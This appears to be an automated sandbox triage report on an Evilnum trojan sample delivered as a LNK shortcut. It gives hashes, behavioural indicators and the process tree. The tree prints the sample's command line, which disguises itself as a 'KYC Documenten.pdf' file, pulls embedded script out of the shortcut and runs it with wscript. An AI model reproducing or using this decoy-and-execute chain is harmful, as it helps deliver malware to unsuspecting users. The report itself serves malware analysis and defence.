evilnum | 0d878b1b9f5c1ae8925e55df9e10b4271eb99970af133e251830044d24296ba8 | Triage

Analysis

max time kernel
71s
max time network
128s
platform
windows10_x64
resource
win10v20201028
submitted
26-12-2020 20:21

Sharing

Report Analysis Logs

General

Target

c7cf5c62ecfade27338acb2cc91a06c2615dbb97711f2558a9379ee8a5306720.lnk
Size

1.5MB
MD5

ffee111b993de52e2034e31953dee86b
SHA1

e88f7946cc7b987b0c49b28d770e722bd0fa3a04
SHA256

c7cf5c62ecfade27338acb2cc91a06c2615dbb97711f2558a9379ee8a5306720
SHA512

390d7a6d438ef634c7456a9f51948b22e250c61f2fac69493bb0cf1a06dfb189da191aca4e8ff4078b53f7092a1595309fb2b3eaa300e8989a2484b914151c47

Score

10^/10

evilnum trojan

Malware Config

Signatures

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 1304 wrote to memory of 2900	1304	cmd.exe	cmd.exe
PID 1304 wrote to memory of 2900	1304	cmd.exe	cmd.exe
PID 2900 wrote to memory of 3096	2900	cmd.exe	cmd.exe
PID 2900 wrote to memory of 3096	2900	cmd.exe	cmd.exe
PID 2900 wrote to memory of 4068	2900	cmd.exe	find.exe
PID 2900 wrote to memory of 4068	2900	cmd.exe	find.exe
PID 2900 wrote to memory of 3912	2900	cmd.exe	wscript.exe
PID 2900 wrote to memory of 3912	2900	cmd.exe	wscript.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\c7cf5c62ecfade27338acb2cc91a06c2615dbb97711f2558a9379ee8a5306720.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1304

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&move "KYC Documenten.pdf.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "END2">"C:\Users\Admin\AppData\Local\Temp\0.js"&wscript "C:\Users\Admin\AppData\Local\Temp\0.js"
2⤵
- Suspicious use of WriteProcessMemory
PID:2900

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
3⤵
PID:3096

C:\Windows\system32\find.exe
find "END2"
3⤵
PID:4068

C:\Windows\system32\wscript.exe
wscript "C:\Users\Admin\AppData\Local\Temp\0.js"
3⤵
PID:3912

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2900-2-0x0000000000000000-mapping.dmp

Download
memory/3096-3-0x0000000000000000-mapping.dmp

Download
memory/3912-5-0x0000000000000000-mapping.dmp

Download
memory/4068-4-0x0000000000000000-mapping.dmp

Download